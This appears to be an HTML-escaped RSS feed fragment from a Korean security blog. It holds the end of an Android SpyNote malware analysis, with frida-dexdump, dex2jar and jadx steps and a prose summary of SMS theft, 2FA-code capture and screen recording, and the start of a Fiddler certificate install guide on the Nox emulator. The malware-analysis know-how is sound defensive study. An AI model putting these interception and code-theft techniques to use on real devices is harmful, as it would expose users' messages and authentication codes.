&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;949&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C9YVt/btsCIE0Rpad/RAYkRWi1JErdtHoL24dTRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C9YVt/btsCIE0Rpad/RAYkRWi1JErdtHoL24dTRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C9YVt/btsCIE0Rpad/RAYkRWi1JErdtHoL24dTRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC9YVt%2FbtsCIE0Rpad%2FRAYkRWi1JErdtHoL24dTRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;949&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;949&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 dex를 추출하는 방식을 사용하기로 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=koo__oo&amp;amp;logNo=222137154226&amp;amp;parentCategoryNo=&amp;amp;categoryNo=7&amp;amp;viewDate=&amp;amp;isShowPopularPosts=false&amp;amp;from=postView&quot;&gt;https://blog.naver.com/PostView.naver?blogId=koo__oo&amp;amp;logNo=222137154226&amp;amp;parentCategoryNo=&amp;amp;categoryNo=7&amp;amp;viewDate=&amp;amp;isShowPopularPosts=false&amp;amp;from=postView&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 블로그를 참고 했으며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;pip install frida-dexdump&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 프리다 서버를 실행시켜주고 앱도 실행시켜 준다&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;./adb shell ps&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 위의 명령어를 확인해 보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 70.png&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6O0gq/btsCGallg70/QyyyOFkJBDWm56lqk4pSX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6O0gq/btsCGallg70/QyyyOFkJBDWm56lqk4pSX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6O0gq/btsCGallg70/QyyyOFkJBDWm56lqk4pSX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6O0gq%2FbtsCGallg70%2FQyyyOFkJBDWm56lqk4pSX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1019&quot; height=&quot;127&quot; data-filename=&quot;Untitled 70.png&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4517 pid를 확인 하여 dex를 떠준다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;frida-dexdump -U -p 4517&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 71.png&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GoGes/btsCN5XjD5b/6NKKvdKzpmOF8u4HbETz6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GoGes/btsCN5XjD5b/6NKKvdKzpmOF8u4HbETz6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GoGes/btsCN5XjD5b/6NKKvdKzpmOF8u4HbETz6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGoGes%2FbtsCN5XjD5b%2F6NKKvdKzpmOF8u4HbETz6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1551&quot; height=&quot;600&quot; data-filename=&quot;Untitled 71.png&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;d2j-dex2jar.bat classes02.dex&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 72.png&quot; data-origin-width=&quot;1847&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqnONM/btsCLaSuaoK/kg2fhsjNtRzW1Lc6b9qaN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqnONM/btsCLaSuaoK/kg2fhsjNtRzW1Lc6b9qaN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqnONM/btsCLaSuaoK/kg2fhsjNtRzW1Lc6b9qaN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqnONM%2FbtsCLaSuaoK%2Fkg2fhsjNtRzW1Lc6b9qaN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1847&quot; height=&quot;344&quot; data-filename=&quot;Untitled 72.png&quot; data-origin-width=&quot;1847&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깨진다&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 73.png&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvPYxo/btsCN5pvkvi/AvD0pndnkRajePjeToPQ21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvPYxo/btsCN5pvkvi/AvD0pndnkRajePjeToPQ21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvPYxo/btsCN5pvkvi/AvD0pndnkRajePjeToPQ21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvPYxo%2FbtsCN5pvkvi%2FAvD0pndnkRajePjeToPQ21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1900&quot; height=&quot;736&quot; data-filename=&quot;Untitled 73.png&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jadx-gui 로 jar 파일을 열었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 74.png&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B9oU3/btsCLsem1sy/PPJQk1zqzu74gUHcd2DjO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B9oU3/btsCLsem1sy/PPJQk1zqzu74gUHcd2DjO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B9oU3/btsCLsem1sy/PPJQk1zqzu74gUHcd2DjO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB9oU3%2FbtsCLsem1sy%2FPPJQk1zqzu74gUHcd2DjO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;83&quot; data-filename=&quot;Untitled 74.png&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 코드를 frida snippet으로 복사하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 75.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;967&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDIT5x/btsCELzmhar/jfRjj9n6RdhKKWS4kGdVD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDIT5x/btsCELzmhar/jfRjj9n6RdhKKWS4kGdVD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDIT5x/btsCELzmhar/jfRjj9n6RdhKKWS4kGdVD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDIT5x%2FbtsCELzmhar%2FjfRjj9n6RdhKKWS4kGdVD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;967&quot; data-filename=&quot;Untitled 75.png&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;967&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시나 깨진다&amp;hellip;.. 망할..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;225&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbWsj3/btsCP5JmgYd/S1UFhw9cwrjICEW8SDKky1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbWsj3/btsCP5JmgYd/S1UFhw9cwrjICEW8SDKky1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbWsj3/btsCP5JmgYd/S1UFhw9cwrjICEW8SDKky1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbWsj3%2FbtsCP5JmgYd%2FS1UFhw9cwrjICEW8SDKky1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;225&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;225&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;다른 분석 보고서 참고 추가 분석내용&lt;/h1&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SMS 수집 및 2FA 우회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 앱(예: 이메일, 소셜 네트워크 등)에서는 2단계 인증(2FA) 코드를 사용하여 추가 보안 계층을 추가할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 사용자가 계정에 로그인하려면 비밀번호 외에 코드도 입력해야 함을 의미한다.&amp;nbsp;이 코드는 Google Authenticator와 같은 앱에서 생성되거나 SMS 메시지 또는 이메일을 통해 전송될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;은행의 경우 EU 결제 서비스 지침 2(PSD2)에 따라 은행에서 사용자 기기로 전송한 핀이나 지문 등을 통해 자금 거래를 확인하는 강력한 고객 인증(SCA)을 사용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SpyNote는 사용자가 받은 SMS 메시지를 수집하여 C2 서버로 전송할 수 있으며 접근성 서비스를 활용하여 Google Authenticator 앱에서 생성된 임시 코드에 액세스할 수도 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A0Ar9/btsCLp9PEpA/QepQ6wvgXF6YYnoUfnhM4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A0Ar9/btsCLp9PEpA/QepQ6wvgXF6YYnoUfnhM4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A0Ar9/btsCLp9PEpA/QepQ6wvgXF6YYnoUfnhM4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA0Ar9%2FbtsCLp9PEpA%2FQepQ6wvgXF6YYnoUfnhM4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;562&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SpyNote가 훔친 SMS 메시지의 예&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;화면 녹화 및 방어 회피&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 행동을 관찰하고 더 많은 정보를 수집하기 위해 TA가 채택한 또 다른 흥미로운 기술은 Media Projection API이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 Android 기능을 사용하면 장치 디스플레이의 화면 콘텐츠를 캡처할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 알림 패널에서 애플리케이션(이 경우 &quot;CERTIFCATO&quot;)이 자신의 화면을 투사하고 있음을 볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qmEvR/btsCLaESUq7/6KlVeBN5ex31fBWybFRfgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qmEvR/btsCLaESUq7/6KlVeBN5ex31fBWybFRfgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qmEvR/btsCLaESUq7/6KlVeBN5ex31fBWybFRfgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqmEvR%2FbtsCLaESUq7%2F6KlVeBN5ex31fBWybFRfgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;1626&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/204</guid>
      <comments>https://wpgur.tistory.com/204#entry204comment</comments>
      <pubDate>Thu, 28 Dec 2023 18:54:32 +0900</pubDate>
    </item>
    <item>
      <title>Android Nox 인증서 설치</title>
      <link>https://wpgur.tistory.com/203</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Fiddler 실패...&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인증서 설치 과정1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://ipv4.fiddler:8877/&quot;&gt;http://ipv4.fiddler:8877/&lt;/a&gt; 로 접근하여 피들러 인증서를 다운받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rArr; FiddlerRoot certificate&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IhWBv/btsCMzxC9IC/B4ALelTusi2tPgomSzkDXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IhWBv/btsCMzxC9IC/B4ALelTusi2tPgomSzkDXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IhWBv/btsCMzxC9IC/B4ALelTusi2tPgomSzkDXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIhWBv%2FbtsCMzxC9IC%2FB4ALelTusi2tPgomSzkDXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;353&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zks31/btsCEIJjjPr/PDsWySPDtdlS5r6BaiFkKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zks31/btsCEIJjjPr/PDsWySPDtdlS5r6BaiFkKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zks31/btsCEIJjjPr/PDsWySPDtdlS5r6BaiFkKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzks31%2FbtsCEIJjjPr%2FPDsWySPDtdlS5r6BaiFkKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;238&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정에서 인증서 설치를 찾는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkP17P/btsCQ5oNuL2/m91w16yo4rkN8xJBsmCXa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkP17P/btsCQ5oNuL2/m91w16yo4rkN8xJBsmCXa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkP17P/btsCQ5oNuL2/m91w16yo4rkN8xJBsmCXa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkP17P%2FbtsCQ5oNuL2%2Fm91w16yo4rkN8xJBsmCXa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;539&quot; height=&quot;283&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;539&quot; data-origin-height=&quot;283&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 인증서 설치에 들어간다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;253&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GN3ld/btsCKP12SRs/6RnEqHOl9izlN3ZjOmjbTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GN3ld/btsCKP12SRs/6RnEqHOl9izlN3ZjOmjbTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GN3ld/btsCKP12SRs/6RnEqHOl9izlN3ZjOmjbTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGN3ld%2FbtsCKP12SRs%2F6RnEqHOl9izlN3ZjOmjbTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;253&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 다운받아놓은 피들러 인증서가 보이며 클릭을 통해 설치를 진행한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 PIN또는 인증과정을 등록해야 설치가 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYQo8y/btsCLqVdI0q/sUgYwGaqXEhik938SkBItk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYQo8y/btsCLqVdI0q/sUgYwGaqXEhik938SkBItk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYQo8y/btsCLqVdI0q/sUgYwGaqXEhik938SkBItk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYQo8y%2FbtsCLqVdI0q%2FsUgYwGaqXEhik938SkBItk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;170&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 이름을 정해주고 설치를 진행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4dztN/btsCK9eV8o7/Ph0zgnMFKaf14h7J6afyvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4dztN/btsCK9eV8o7/Ph0zgnMFKaf14h7J6afyvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4dztN/btsCK9eV8o7/Ph0zgnMFKaf14h7J6afyvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4dztN%2FbtsCK9eV8o7%2FPh0zgnMFKaf14h7J6afyvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;599&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;964&quot; 